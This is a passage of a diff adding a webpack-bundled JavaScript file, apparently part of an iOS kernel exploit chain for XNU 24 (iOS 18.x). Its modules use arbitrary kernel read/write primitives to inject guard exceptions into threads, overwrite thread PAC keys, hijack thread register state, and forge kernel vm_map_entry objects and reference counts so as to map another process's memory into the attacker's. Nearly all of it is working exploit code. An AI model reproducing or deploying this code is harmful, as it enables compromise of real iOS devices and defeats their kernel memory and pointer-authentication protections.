setMutex(thread,ctid) + { + libs_Chain_Chain__WEBPACK_IMPORTED_MODULE_0__["default"].write32(thread + libs_Chain_Chain__WEBPACK_IMPORTED_MODULE_0__["default"].offsets().mutexData, ctid); + } + static getMutex(thread) + { + let mutex = libs_Chain_Chain__WEBPACK_IMPORTED_MODULE_0__["default"].read32(thread + libs_Chain_Chain__WEBPACK_IMPORTED_MODULE_0__["default"].offsets().mutexData); + return mutex; + } + static getStack(thread) + { + let stackptr = libs_Chain_Chain__WEBPACK_IMPORTED_MODULE_0__["default"].read64(thread + libs_Chain_Chain__WEBPACK_IMPORTED_MODULE_0__["default"].offsets().kstackptr); + return stackptr; + } + static injectGuardException(thread,code) + { + if(!this.getTro(thread)) + { + console.log(TAG,`got invalid tro of thread, not injecting exception since thread is dead`); + return false; + } + + // 18.4+ + if (xnuVersion.major == 24 && xnuVersion.minor >= 4) { + libs_Chain_Chain__WEBPACK_IMPORTED_MODULE_0__["default"].write64(thread + libs_Chain_Chain__WEBPACK_IMPORTED_MODULE_0__["default"].offsets().guardExcCode, 0x17n); + libs_Chain_Chain__WEBPACK_IMPORTED_MODULE_0__["default"].write64(thread + libs_Chain_Chain__WEBPACK_IMPORTED_MODULE_0__["default"].offsets().guardExcCode + 0x8n, code); + } + else { + libs_Chain_Chain__WEBPACK_IMPORTED_MODULE_0__["default"].write64(thread + libs_Chain_Chain__WEBPACK_IMPORTED_MODULE_0__["default"].offsets().guardExcCode, code); + } + + let ast = libs_Chain_Chain__WEBPACK_IMPORTED_MODULE_0__["default"].read32(thread + libs_Chain_Chain__WEBPACK_IMPORTED_MODULE_0__["default"].offsets().ast); + ast |= AST_GUARD; + libs_Chain_Chain__WEBPACK_IMPORTED_MODULE_0__["default"].write32(thread + libs_Chain_Chain__WEBPACK_IMPORTED_MODULE_0__["default"].offsets().ast, ast); + return true; + } + static clearGuardException(thread) + { + if(!this.getTro(thread)) + { + console.log(TAG,`got invalid tro of thread, still clearing exception to avoid crash`); + } + let ast = libs_Chain_Chain__WEBPACK_IMPORTED_MODULE_0__["default"].read32(thread + libs_Chain_Chain__WEBPACK_IMPORTED_MODULE_0__["default"].offsets().ast); + ast &= ~AST_GUARD | 0x80000000; + libs_Chain_Chain__WEBPACK_IMPORTED_MODULE_0__["default"].write32(thread + libs_Chain_Chain__WEBPACK_IMPORTED_MODULE_0__["default"].offsets().ast, ast); + + // 18.4+ + if (xnuVersion.major == 24 && xnuVersion.minor >= 4) { + if (libs_Chain_Chain__WEBPACK_IMPORTED_MODULE_0__["default"].read64(thread + libs_Chain_Chain__WEBPACK_IMPORTED_MODULE_0__["default"].offsets().guardExcCode) == 0x17n) { + libs_Chain_Chain__WEBPACK_IMPORTED_MODULE_0__["default"].write64(thread + libs_Chain_Chain__WEBPACK_IMPORTED_MODULE_0__["default"].offsets().guardExcCode, 0n); + libs_Chain_Chain__WEBPACK_IMPORTED_MODULE_0__["default"].write64(thread + libs_Chain_Chain__WEBPACK_IMPORTED_MODULE_0__["default"].offsets().guardExcCode + 0x8n, 0n); + } + } + else { + libs_Chain_Chain__WEBPACK_IMPORTED_MODULE_0__["default"].write64(thread + libs_Chain_Chain__WEBPACK_IMPORTED_MODULE_0__["default"].offsets().guardExcCode, 0n); + } + } + static getOptions(thread) + { + let options = libs_Chain_Chain__WEBPACK_IMPORTED_MODULE_0__["default"].read16(thread + libs_Chain_Chain__WEBPACK_IMPORTED_MODULE_0__["default"].offsets().options); + return options; + } + static setOptions(thread, options) + { + libs_Chain_Chain__WEBPACK_IMPORTED_MODULE_0__["default"].write16(thread + libs_Chain_Chain__WEBPACK_IMPORTED_MODULE_0__["default"].offsets().options, options); + } + static getRopPid(thread) + { + let ropPid = libs_Chain_Chain__WEBPACK_IMPORTED_MODULE_0__["default"].read64(thread + libs_Chain_Chain__WEBPACK_IMPORTED_MODULE_0__["default"].offsets().ropPid); + return ropPid; + } + static getJopPid(thread) + { + let jopPid = libs_Chain_Chain__WEBPACK_IMPORTED_MODULE_0__["default"].read64(thread + libs_Chain_Chain__WEBPACK_IMPORTED_MODULE_0__["default"].offsets().jopPid); + return jopPid; + } + static setPACKeys(thread, keyA, keyB) + { + libs_Chain_Chain__WEBPACK_IMPORTED_MODULE_0__["default"].write64(thread + libs_Chain_Chain__WEBPACK_IMPORTED_MODULE_0__["default"].offsets().ropPid, keyA); + libs_Chain_Chain__WEBPACK_IMPORTED_MODULE_0__["default"].write64(thread + libs_Chain_Chain__WEBPACK_IMPORTED_MODULE_0__["default"].offsets().jopPid, keyB); + } + + static getState(machThread) + { + let statePtr = libs_Chain_Native__WEBPACK_IMPORTED_MODULE_3__["default"].mem; + let stateCountPtr = libs_Chain_Native__WEBPACK_IMPORTED_MODULE_3__["default"].mem + 0x200n; + libs_Chain_Native__WEBPACK_IMPORTED_MODULE_3__["default"].write32(stateCountPtr, libs_JSUtils_Utils__WEBPACK_IMPORTED_MODULE_1__["default"].ARM_THREAD_STATE64_COUNT); + let kr = libs_Chain_Native__WEBPACK_IMPORTED_MODULE_3__["default"].callSymbol("thread_get_state", + machThread, + libs_JSUtils_Utils__WEBPACK_IMPORTED_MODULE_1__["default"].ARM_THREAD_STATE64, + statePtr, + stateCountPtr); + if (kr != 0) { + console.log(TAG, "Unable to read thread state"); + return false; + } + + let stateBuff = libs_Chain_Native__WEBPACK_IMPORTED_MODULE_3__["default"].read(statePtr, libs_JSUtils_Utils__WEBPACK_IMPORTED_MODULE_1__["default"].ARM_THREAD_STATE64_SIZE); + let state = new _ThreadState__WEBPACK_IMPORTED_MODULE_2__["default"](stateBuff); + return state; + } + + static setState(machThread, threadAddr, state) + { + let options = 0; + if (threadAddr) { + options = Thread.getOptions(threadAddr); + options |= 0x8000; + Thread.setOptions(threadAddr, options); + } + + let statePtr = libs_Chain_Native__WEBPACK_IMPORTED_MODULE_3__["default"].mem; + libs_Chain_Native__WEBPACK_IMPORTED_MODULE_3__["default"].write(statePtr, state.buffer); + //console.log(TAG,`thread:${Utils.hex(thread)}`); + let kr = libs_Chain_Native__WEBPACK_IMPORTED_MODULE_3__["default"].callSymbol("thread_set_state", + machThread, + libs_JSUtils_Utils__WEBPACK_IMPORTED_MODULE_1__["default"].ARM_THREAD_STATE64, + statePtr, + libs_JSUtils_Utils__WEBPACK_IMPORTED_MODULE_1__["default"].ARM_THREAD_STATE64_COUNT); + if (kr != 0) + { + console.log(TAG,`Failed thread_set_state with error:${kr}`); + return false; + } + + if (threadAddr) { + options &= ~0x8000; + Thread.setOptions(threadAddr, options); + } + return true; + } + + static resume(machThread) + { + let kr = libs_Chain_Native__WEBPACK_IMPORTED_MODULE_3__["default"].callSymbol("thread_resume", machThread); + if (kr != 0) { + console.log(TAG, "Unable to resume suspended thread"); + return false; + } + return true; + } +} + + +/***/ }), + +/***/ "./src/libs/TaskRop/ThreadState.js": +/*!*****************************************!*\ + !*** ./src/libs/TaskRop/ThreadState.js ***! + \*****************************************/ +/***/ ((__unused_webpack_module, __webpack_exports__, __webpack_require__) => { + +__webpack_require__.r(__webpack_exports__); +/* harmony export */ __webpack_require__.d(__webpack_exports__, { +/* harmony export */ "default": () => (/* binding */ ThreadState) +/* harmony export */ }); +/* harmony import */ var _RegistersStruct__WEBPACK_IMPORTED_MODULE_0__ = __webpack_require__(/*! ./RegistersStruct */ "./src/libs/TaskRop/RegistersStruct.js"); + + +class ThreadState +{ + #buffer; + #dataView; + constructor(buffer, offset = 0) + { + this.#buffer = buffer; + this.#dataView = new DataView(buffer,offset); + this.registers = new _RegistersStruct__WEBPACK_IMPORTED_MODULE_0__["default"](buffer,offset); + } + get buffer() + { + return this.#buffer; + } + get opaque_fp() + { + return this.#dataView.getBigUint64(232,true); + } + set opaque_fp(value) + { + this.#dataView.setBigUint64(232,value,true); + } + get opaque_lr() + { + return this.#dataView.getBigUint64(240,true); + } + set opaque_lr(value) + { + this.#dataView.setBigUint64(240,value,true); + } + get opaque_sp() + { + return this.#dataView.getBigUint64(248,true); + } + set opaque_sp(value) + { + this.#dataView.setBigUint64(248,value,true); + } + get opaque_pc() + { + return this.#dataView.getBigUint64(256,true); + } + set opaque_pc(value) + { + this.#dataView.setBigUint64(256,value,true); + } + get cpsr() + { + return this.#dataView.getUint32(264,true); + } + set cpsr(value) + { + this.#dataView.setUint32(264,value,true); + } + get opaque_flags() + { + return this.#dataView.getUint32(268,true); + } + set opaque_flags(value) + { + this.#dataView.setUint32(268,value,true); + } +} + +/***/ }), + +/***/ "./src/libs/TaskRop/VM.js": +/*!********************************!*\ + !*** ./src/libs/TaskRop/VM.js ***! + \********************************/ +/***/ ((__unused_webpack_module, __webpack_exports__, __webpack_require__) => { + +__webpack_require__.r(__webpack_exports__); +/* harmony export */ __webpack_require__.d(__webpack_exports__, { +/* harmony export */ "default": () => (/* binding */ VM) +/* harmony export */ }); +/* harmony import */ var libs_Chain_Chain__WEBPACK_IMPORTED_MODULE_0__ = __webpack_require__(/*! libs/Chain/Chain */ "./src/libs/Chain/Chain.js"); +/* harmony import */ var libs_Chain_Native__WEBPACK_IMPORTED_MODULE_1__ = __webpack_require__(/*! libs/Chain/Native */ "./src/libs/Chain/Native.js"); +/* harmony import */ var libs_JSUtils_Utils__WEBPACK_IMPORTED_MODULE_2__ = __webpack_require__(/*! libs/JSUtils/Utils */ "./src/libs/JSUtils/Utils.js"); +/* harmony import */ var _VmMapEntry__WEBPACK_IMPORTED_MODULE_3__ = __webpack_require__(/*! ./VmMapEntry */ "./src/libs/TaskRop/VmMapEntry.js"); +/* harmony import */ var _Task__WEBPACK_IMPORTED_MODULE_4__ = __webpack_require__(/*! ./Task */ "./src/libs/TaskRop/Task.js"); +/* harmony import */ var _VMObject__WEBPACK_IMPORTED_MODULE_5__ = __webpack_require__(/*! ./VMObject */ "./src/libs/TaskRop/VMObject.js"); +/* harmony import */ var _VMShmem__WEBPACK_IMPORTED_MODULE_6__ = __webpack_require__(/*! ./VMShmem */ "./src/libs/TaskRop/VMShmem.js"); +/* harmony import */ var _VmPackingParams__WEBPACK_IMPORTED_MODULE_7__ = __webpack_require__(/*! ./VmPackingParams */ "./src/libs/TaskRop/VmPackingParams.js"); + + +const TAG = "VM"; +const VME_ALIAS_BITS = 12n; +const VME_OFFSET_BITS = (64n - VME_ALIAS_BITS); +const VME_OFFSET_SHIFT = VME_ALIAS_BITS; +const VME_SUBMAP_SHIFT = 2n; +const VME_SUBMAP_BITS = (8n * 8n - VME_SUBMAP_SHIFT); +const VM_KERNEL_POINTER_SIGNIFICANT_BITS = 38; +const VM_MAX_KERNEL_ADDRESS = 0xfffffffbffffffffn; +const VM_PAGE_PACKED_PTR_BITS = 31; +const VM_PAGE_PACKED_PTR_SHIFT = 6; +const SIZE_VMOBJECT = 0x20; +const VM_LINK_SIZE = 0x20; +const VM_MAP_ENTRY_SIZE = 0x50; +const VMShmem_SIZE = 0x18; +const VMPackingSize = 0x10; +const VM_FLAGS_ANYWHERE = 0x00000001n; + +class VM +{ + static VM_PROT_READ = 1n; + static VM_PROT_WRITE = 2n; + static VM_PROT_EXECUTE = 4n; + static VM_PROT_ALL = (this.VM_PROT_READ|this.VM_PROT_WRITE|this.VM_PROT_EXECUTE); + static VM_PROT_IS_MASK = 0x40n; + static VM_INHERIT_NONE = 2n; + + static #Tib(x) + { + return ((0n + (x)) << 40n); + } + static #Gib(x) + { + return ((0n + (x)) << 30n); + } + static #VM_MIN_KERNEL_ADDRESS() + { + return ((0n - this.#Gib(144n))); + } + static #VM_MIN_KERNEL_AND_KEXT_ADDRESS() + { + return this.#VM_MIN_KERNEL_ADDRESS(); + } + static #VM_PAGE_PACKED_PTR_BASE() + { + return this.#VM_MIN_KERNEL_AND_KEXT_ADDRESS(); + } + static #VM_PACKING_IS_BASE_RELATIVE(packed) + { + return ((packed.vmpp_bits + packed.vmpp_shift) <= VM_KERNEL_POINTER_SIGNIFICANT_BITS); + } + static #VM_PACKING_PARAMS(ns) + { + ns.vmpp_base_relative = this.#VM_PACKING_IS_BASE_RELATIVE(ns); + return ns; + } + static #VM_UNPACK_POINTER(packed, ns) + { + return this.#vm_unpack_pointer(packed,this.#VM_PACKING_PARAMS(ns)); + } + static #VM_PACK_POINTER(ptr, ns) + { + return this.#vm_pack_pointer(ptr, this.#VM_PACKING_PARAMS(ns)); + } + static #bigUint64ToIntptr(bigUint64) { + // Create a BigInt mask for the lower 64 bits + const lower64BitsMask = BigInt("0xFFFFFFFFFFFFFFFF"); + + // Apply the mask to ensure the value is within the range of 64 bits + bigUint64 = bigUint64 & lower64BitsMask; + + // Check if the value is greater than the maximum signed 64-bit integer + if (bigUint64 > BigInt("0x7FFFFFFFFFFFFFFF")) { + // Convert to signed by subtracting 2^64 + return Number(bigUint64 - BigInt("0x10000000000000000")); + } else { + // Directly convert to Number + return Number(bigUint64); + } + } + static #vm_unpack_pointer(packed, params) + { + if (!params.vmpp_base_relative) + { + //console.log(TAG,`In first if unpack`); + //let addr = this.#bigUint64ToIntptr(BigInt(packed)); + let addr = packed; + addr <<= 64 - params.vmpp_bits; + addr >>= 64 - params.vmpp_bits - params.vmpp_shift; + return addr; + } + if (packed) + { + //console.log(TAG,`In second if unpack`); + return (BigInt(packed) << BigInt(params.vmpp_shift)) + BigInt(params.vmpp_base); + } + return 0n; + } + static #vm_pack_pointer(ptr,params) + { + if (!params.vmpp_base_relative) + { + //console.log(TAG,`In first if pack`); + return ptr >> params.vmpp_shift; + } + if (ptr) + { + //console.log(TAG,`In second if pack`); + return (BigInt(ptr) - BigInt(params.vmpp_base)) >> BigInt(params.vmpp_shift); + } + return 0n; + } + static #VME_OFFSET(entry) + { + return entry.vme_offset << 12n; + } + static #trunc_page_kernel(x) + { + //return ((x) & (~vm_kernel_page_mask)); + return ((x) & (~libs_JSUtils_Utils__WEBPACK_IMPORTED_MODULE_2__["default"].PAGE_MASK)); + } + static #round_page_kernel(x) + { + //return this.#trunc_page_kernel((x) + vm_kernel_page_mask); + return this.#trunc_page_kernel((x) + libs_JSUtils_Utils__WEBPACK_IMPORTED_MODULE_2__["default"].PAGE_MASK); + } + static #vm_getEntry(map,address) + { + let rbhRoot = libs_Chain_Chain__WEBPACK_IMPORTED_MODULE_0__["default"].read64(map + libs_Chain_Chain__WEBPACK_IMPORTED_MODULE_0__["default"].offsets().hdrRBHRoot); + + //console.log(TAG,`Get entry:${Utils.hex(address)}`); + //console.log(TAG,`rbh root:${Utils.hex(rbhRoot)}`); + + let rbEntry = rbhRoot; + let foundEntry = 0n; + + while (rbEntry != 0n) + { + let curPtr = rbEntry - 0x20n; // container_of(rb_entry, struct vm_map_entry, store) + //uint64_t prev = 0; + + let links = libs_Chain_Native__WEBPACK_IMPORTED_MODULE_1__["default"].mem; + libs_Chain_Chain__WEBPACK_IMPORTED_MODULE_0__["default"].read(curPtr, links, VM_LINK_SIZE); + let linksBuffer = libs_Chain_Native__WEBPACK_IMPORTED_MODULE_1__["default"].read(links,VM_LINK_SIZE); + let linksArray = new Uint8Array(linksBuffer); + links = new _VmMapEntry__WEBPACK_IMPORTED_MODULE_3__.vm_map_links(linksArray); + + //console.log(TAG,`[${Utils.hex(links.start)} - ${Utils.hex(links.end)}]:${Utils.hex(curPtr)}`); + + if (address >= links.start) + { + if (address < links.end) + { + foundEntry = curPtr; + //console.log(TAG,`Found:${Utils.hex(curPtr)}`); + break; + } + + let rbeRight = libs_Chain_Chain__WEBPACK_IMPORTED_MODULE_0__["default"].read64(rbEntry + libs_Chain_Chain__WEBPACK_IMPORTED_MODULE_0__["default"].offsets().rbeRight); + rbEntry = rbeRight; + //prev = curPtr; + } + else + { + let rbeLeft = libs_Chain_Chain__WEBPACK_IMPORTED_MODULE_0__["default"].read64(rbEntry + libs_Chain_Chain__WEBPACK_IMPORTED_MODULE_0__["default"].offsets().rbeLeft); + rbEntry = rbeLeft; + } + } + return foundEntry; + } + + static mapRemotePage(vmMap, address) + { + //console.log(TAG, `Map remote address: ${Utils.hex(address)}`); + + let vmObject = VM.getObject(vmMap, address); + //LOG("vmObject: %llx (objectOffset=%llx, entryOffset=%llx)", + // vmObject.address, + // vmObject.objectOffset, + // vmObject.entryOffset); + + if (!vmObject.address) + return null; + + let shmem = VM.createShmemWithVmObject(vmObject); + //LOG("shmem: port=%x, address=%llx", shmem.port, shmem.remoteAddress); + + return shmem; + } + + static getObject(map, address) + { + let VMObjectBuff = new ArrayBuffer(SIZE_VMOBJECT); + let vmObject = new _VMObject__WEBPACK_IMPORTED_MODULE_5__["default"](VMObjectBuff); + let entryAddr = this.#vm_getEntry(map, address); + if (!entryAddr) + return vmObject; + + let entryBuff = libs_Chain_Chain__WEBPACK_IMPORTED_MODULE_0__["default"].readBuff(entryAddr, VM_MAP_ENTRY_SIZE); + let entryUintArr = new Uint8Array(entryBuff); + let entry = new _VmMapEntry__WEBPACK_IMPORTED_MODULE_3__.vm_map_entry(entryUintArr); + //console.log(TAG, `entry: addr=${Utils.hex(entryAddr)}, is_sub_map=${entry.is_sub_map}, vme_object_packed=${Utils.hex(entry.vme_object)}`); + + let paramsBuff = new ArrayBuffer(VMPackingSize); + let params = new _VmPackingParams__WEBPACK_IMPORTED_MODULE_7__["default"](paramsBuff); + params.vmpp_base = this.#VM_PAGE_PACKED_PTR_BASE(); + params.vmpp_bits = VM_PAGE_PACKED_PTR_BITS; + params.vmpp_shift = VM_PAGE_PACKED_PTR_SHIFT; + params.vmpp_base_relative = this.#VM_PACKING_IS_BASE_RELATIVE(params); + let vmeObject = this.#VM_UNPACK_POINTER(entry.vme_object, params); + //console.log(TAG, `vme object: ${Utils.hex(vmeObject)}`); + + let objectOffs = this.#VME_OFFSET(entry); + let entryOffs = address - entry.links.start + objectOffs; + + //console.log(TAG, `object offset: ${Utils.hex(objectOffs)}`); + //console.log(TAG, `entry offset: ${Utils.hex(entryOffs)}`); + + vmObject.vmAddress = address; + vmObject.address = BigInt(vmeObject); + vmObject.objectOffset = BigInt(objectOffs); + vmObject.entryOffset = BigInt(entryOffs); + return vmObject; + } + + static createShmemWithVmObject(object) + { + //console.log(TAG,`Inside createShmem with addr to read:${Utils.hex(object.address)}`); + let shmemBuff = new ArrayBuffer(VMShmem_SIZE); + let shmem = new _VMShmem__WEBPACK_IMPORTED_MODULE_6__["default"](shmemBuff); + let size = libs_Chain_Chain__WEBPACK_IMPORTED_MODULE_0__["default"].read64(object.address + libs_Chain_Chain__WEBPACK_IMPORTED_MODULE_0__["default"].offsets().vouSize); + size = _Task__WEBPACK_IMPORTED_MODULE_4__["default"].round_page(size); + + //console.log(TAG,`vm object size:${Utils.hex(size)}`); + + let localAddr = libs_Chain_Native__WEBPACK_IMPORTED_MODULE_1__["default"].mem; + let roundedSize = this.#round_page_kernel(size); + let ret = libs_Chain_Native__WEBPACK_IMPORTED_MODULE_1__["default"].callSymbol("mach_vm_allocate",0x203n, localAddr, roundedSize, VM_FLAGS_ANYWHERE); + if (ret != 0) + { + console.log(TAG,`mach_vm_allocate():${ret}`); + return shmem; + } + localAddr = libs_Chain_Native__WEBPACK_IMPORTED_MODULE_1__["default"].read64(localAddr); + //console.log(TAG,`mach_vm_allocate:${Utils.hex(roundedSize)} localAddr:${Utils.hex(localAddr)}`); + /* + let memory_object = new_bigint(); + ret = Native.callSymbol("mach_make_memory_entry_64", + 0x203n, + get_bigint_addr(roundedSize), + localAddr, + this.VM_PROT_READ | this.VM_PROT_WRITE, + get_bigint_addr(memory_object), + 0n); + let resBuff = Native.read(get_bigint_addr(memory_object),Utils.UINT32_SIZE); + let resView = new DataView(resBuff); + let port = resView.getUint32(0,true); + */ + + let memory_object = libs_Chain_Native__WEBPACK_IMPORTED_MODULE_1__["default"].mem + 0x500n; + let roundedSizePtr = libs_Chain_Native__WEBPACK_IMPORTED_MODULE_1__["default"].mem + 0x1000n; + libs_Chain_Native__WEBPACK_IMPORTED_MODULE_1__["default"].write64(roundedSizePtr, roundedSize); + + ret = libs_Chain_Native__WEBPACK_IMPORTED_MODULE_1__["default"].callSymbol("mach_make_memory_entry_64", + 0x203n, + roundedSizePtr, + localAddr, + this.VM_PROT_READ | this.VM_PROT_WRITE, + memory_object, + 0n); + let port = libs_Chain_Native__WEBPACK_IMPORTED_MODULE_1__["default"].read32(memory_object); + //let port = Native.callSymbol("wrapper_mach_make_memory_entry_64",roundedSize,localAddr); + //console.log(TAG,`mach_make_memory_entry_64():${Utils.hex(port)}`); + let shmemNamedEntry = _Task__WEBPACK_IMPORTED_MODULE_4__["default"].getPortKObject(BigInt(port)); + //console.log(TAG,`shmem named entry:${Utils.hex(shmemNamedEntry)}`); + let shmemVMCopyAddr = libs_Chain_Chain__WEBPACK_IMPORTED_MODULE_0__["default"].read64(shmemNamedEntry + libs_Chain_Chain__WEBPACK_IMPORTED_MODULE_0__["default"].offsets().backingCopy); + //console.log(TAG,`shmem named entry VM copy addr:${Utils.hex(shmemVMCopyAddr)}`); + let nextAddr = libs_Chain_Chain__WEBPACK_IMPORTED_MODULE_0__["default"].read64(shmemVMCopyAddr + libs_Chain_Chain__WEBPACK_IMPORTED_MODULE_0__["default"].offsets().next); + //console.log(TAG,`next addr:${Utils.hex(nextAddr)}`); + let entryBuff = libs_Chain_Chain__WEBPACK_IMPORTED_MODULE_0__["default"].readBuff(nextAddr, VM_MAP_ENTRY_SIZE); + let entryArr = new Uint8Array(entryBuff); + let entry = new _VmMapEntry__WEBPACK_IMPORTED_MODULE_3__.vm_map_entry(entryArr); + //console.log(TAG,`entry: vme_kernel_object=${Utils.hex(entry.vme_kernel_object)}, is_sub_map=${Utils.hex(entry.is_sub_map)}`); + //console.log(TAG,`entry: is_sub_map=${Utils.hex(entry.is_sub_map)}`); + if (entry.vme_kernel_object || entry.is_sub_map || false) // vme_kernel_object struct is not implemented + { + console.log(TAG,`Entry cannot be a submap`); + return shmem; + } + let paramsBuff = new ArrayBuffer(VMPackingSize); + let params = new _VmPackingParams__WEBPACK_IMPORTED_MODULE_7__["default"](paramsBuff); + params.vmpp_base = this.#VM_PAGE_PACKED_PTR_BASE(); + params.vmpp_bits = VM_PAGE_PACKED_PTR_BITS; + params.vmpp_shift = VM_PAGE_PACKED_PTR_SHIFT; + params.vmpp_base_relative = this.#VM_PACKING_IS_BASE_RELATIVE(params); + let packedPointer = this.#VM_PACK_POINTER(object.address, params); + //console.log(TAG,`packedPointer:${Utils.hex(packedPointer)}`); + let refCount = libs_Chain_Chain__WEBPACK_IMPORTED_MODULE_0__["default"].read32(object.address + libs_Chain_Chain__WEBPACK_IMPORTED_MODULE_0__["default"].offsets().refCount); + //console.log(TAG,`vm object ref count:${Utils.hex(refCount)}`); + refCount++; + libs_Chain_Chain__WEBPACK_IMPORTED_MODULE_0__["default"].write32(object.address + libs_Chain_Chain__WEBPACK_IMPORTED_MODULE_0__["default"].offsets().refCount, refCount); + entry.vme_object = Number(packedPointer); + entry.vme_offset = object.objectOffset; + //write(nextAddr, &entry, sizeof(entry)); + // write dedicate write in order to avoid zone panic with bigger 0x20 elements size + let entryResWrite = libs_Chain_Native__WEBPACK_IMPORTED_MODULE_1__["default"].mem; + libs_Chain_Native__WEBPACK_IMPORTED_MODULE_1__["default"].write(entryResWrite,entryArr.buffer); + //Utils.printArrayBufferInChunks(entryArr.buffer); + libs_Chain_Chain__WEBPACK_IMPORTED_MODULE_0__["default"].writeZoneElement(nextAddr, entryResWrite, VM_MAP_ENTRY_SIZE); + //console.log(TAG,`After write zone element`); + //let mappedAddr = Native.callSymbol("malloc",roundedSize * 4n); + //let mappedAddr = new_bigint(); + let mappedAddr = libs_Chain_Native__WEBPACK_IMPORTED_MODULE_1__["default"].mem; + libs_Chain_Native__WEBPACK_IMPORTED_MODULE_1__["default"].write64(mappedAddr, 0x1337n); + //let mach_vm_map_func = Native.dlsym("mach_vm_map"); + //console.log(TAG,`mach_vm_map:${Utils.hex(mach_vm_map_func)} with object.entryOffset:${Utils.hex(object.entryOffset)}`); + //ret = fcall(mach_vm_map_func,0x203n,get_bigint_addr(mappedAddr),0x4000n,0n,1n,BigInt(port),BigInt(object.entryOffset),0n,(this.VM_PROT_ALL | this.VM_PROT_IS_MASK) | ((this.VM_PROT_ALL | this.VM_PROT_IS_MASK) << 32n),this.VM_INHERIT_NONE); + ret = libs_Chain_Native__WEBPACK_IMPORTED_MODULE_1__["default"].callSymbol("mach_vm_map",0x203n,mappedAddr,0x4000n,0n,1n,BigInt(port),BigInt(object.entryOffset),0n,(this.VM_PROT_ALL | this.VM_PROT_IS_MASK) | ((this.VM_PROT_ALL | this.VM_PROT_IS_MASK) << 32n),this.VM_INHERIT_NONE); + //console.log(TAG,`ret:${ret}`); + mappedAddr = libs_Chain_Native__WEBPACK_IMPORTED_MODULE_1__["default"].read64(mappedAddr); + //console.log(TAG,`mach_vm_map():${Utils.hex(ret)}, mappedAddr=${Utils.hex(mappedAddr)}`); + if(ret != 0) + { + console.log(TAG,'failed on mach_vm_map'); + mappedAddr = 0n; + } + + ret = libs_Chain_Native__WEBPACK_IMPORTED_MODULE_1__["default"].callSymbol("mach_vm_deallocate", 0x203, localAddr, roundedSize); + if (ret != 0) { + console.log(TAG, "mach_vm_deallocate: " + ret); + } + + //let mappedAddr = Native.callSymbol("wrapper_mach_vm_map",port,object.entryOffset); + //console.log(TAG,`mappedAddr:${Utils.hex(mappedAddr)}`); + shmem.port = BigInt(port); + shmem.remoteAddress = object.vmAddress; + shmem.localAddress = mappedAddr; + return shmem; + } + + static mocker(addrUnpack,addrPack) + { + let paramsBuff = new ArrayBuffer(VMPackingSize); + let params = new _VmPackingParams__WEBPACK_IMPORTED_MODULE_7__["default"](paramsBuff); + params.vmpp_base = this.#VM_PAGE_PACKED_PTR_BASE(); + params.vmpp_bits = VM_PAGE_PACKED_PTR_BITS; + params.vmpp_shift = VM_PAGE_PACKED_PTR_SHIFT; + params.vmpp_base_relative = this.#VM_PACKING_IS_BASE_RELATIVE(params); + let vmeObject = this.#VM_UNPACK_POINTER(addrUnpack, params); + //console.log(TAG,`vmeObjectUnpack:${Utils.hex(vmeObject)}`); + vmeObject = this.#VM_PACK_POINTER(addrPack,params); + //console.log(TAG,`vmeObjectpack:${Utils.hex(vmeObject)}`); + } +} + + +/***/ }), + +/***/ "./src/libs/TaskRop/VMObject.js": +/*!**************************************!*\ + !*** ./src/libs/TaskRop/VMObject.js ***! + \**************************************/ +/***/ ((__unused_webpack_module, __webpack_exports__, __webpack_require__) => { + +__webpack_require__.r(__webpack_exports__); +/* harmony export */ __webpack_require__.d(__webpack_exports__, { +/* harmony export */ "default": () => (/* binding */ VMObject) +/* harmony export */ }); +class VMObject +{ + #buffer; + #dataView; + constructor(buffer) + { + this.#buffer = buffer; + this.#dataView = new DataView(this.#buffer); + } + get vmAddress() + { + return this.#dataView.getBigUint64(0,true); + } + set vmAddress(value) + { + this.#dataView.setBigUint64(0,value,true); + } + get address() + { + return this.#dataView.getBigUint64(8,true); + } + set address(value) + { + this.#dataView.setBigUint64(8,value,true); + } + get objectOffset() + { + return this.#dataView.getBigUint64(16,true); + } + set objectOffset(value) + { + this.#dataView.setBigUint64(16,value,true); + } + get entryOffset() + { + return this.#dataView.getBigUint64(24,true); + } + set entryOffset(value) + { + this.#dataView.setBigUint64(24,value,true); + } +} + +/***/ }), + +/***/ "./src/libs/TaskRop/VMShmem.js": +/*!*************************************!*\ + !*** ./src/libs/TaskRop/VMShmem.js ***! + \*************************************/ +/***/ ((__unused_webpack_module, __webpack_exports__, __webpack_require__) => { + +__webpack_require__.r(__webpack_exports__); +/* harmony export */ __webpack_require__.d(__webpack_exports__, { +/* harmony export */ "default": () => (/* binding */ VMShmem) +/* harmony export */ }); +class VMShmem +{ + #buffer; + #dataView; + constructor(buffer) + { + this.#buffer = buffer; + this.#dataView = new DataView(this.#buffer); + } + get port() + { + return this.#dataView.getBigUint64(0,true); + } + set port(value) + { + this.#dataView.setBigUint64(0,value,true); + } + get remoteAddress() + { + return this.#dataView.getBigUint64(8,true); + } + set remoteAddress(value) + { + this.#dataView.setBigUint64(8,value,true); + } + get localAddress() + { + return this.#dataView.getBigUint64(16,true); + } + set localAddress(value) + { + this.#dataView.setBigUint64(16,value,true); + } +} + +/***/ }), + +/***/ "./src/libs/TaskRop/VmMapEntry.js": +/*!****************************************!*\ + !*** ./src/libs/TaskRop/VmMapEntry.js ***! + \****************************************/ +/***/ ((__unused_webpack_module, __webpack_exports__, __webpack_require__) => { + +__webpack_require__.r(__webpack_exports__); +/* harmony export */ __webpack_require__.d(__webpack_exports__, { +/* harmony export */ "default": () => (__WEBPACK_DEFAULT_EXPORT__), +/* harmony export */ vm_map_entry: () => (/* binding */ vm_map_entry), +/* harmony export */ vm_map_links: () => (/* binding */ vm_map_links) +/* harmony export */ }); +class vm_map_links { + #__mem; + #__view; + #__addr; + #__off; + constructor(mem=undefined, off=0) { + this.#__mem = mem ? mem : new Uint8Array(0x20); + this.#__view = new DataView(this.#__mem.buffer); + this.#__off = off; + this.sizeof = this.#__mem.length; + } + get addr() { if (!this.#__addr) { this.#__addr = get_buffer_addr(this.#__mem).add(this.#__off); } return this.#__addr; } + /* previous entry */ + get prev() { return this.#__view.getBigUint64(this.#__off, true); } + set prev(val) { this.#__view.setBigUint64(this.#__off, val, true); } + /* next entry */ + get next() { return this.#__view.getBigUint64(this.#__off+0x8, true); } + set next(val) { this.#__view.setBigUint64(this.#__off+0x8, val, true); } + /* start address */ + get start() { return this.#__view.getBigUint64(this.#__off+0x10, true); } + set start(val) { this.#__view.setBigUint64(this.#__off+0x10, val, true); } + /* end address */ + get end() { return this.#__view.getBigUint64(this.#__off+0x18, true); } + set end(val) { this.#__view.setBigUint64(this.#__off+0x18, val, true); } +}; + +class vm_map_store { + #__mem; + #__view; + 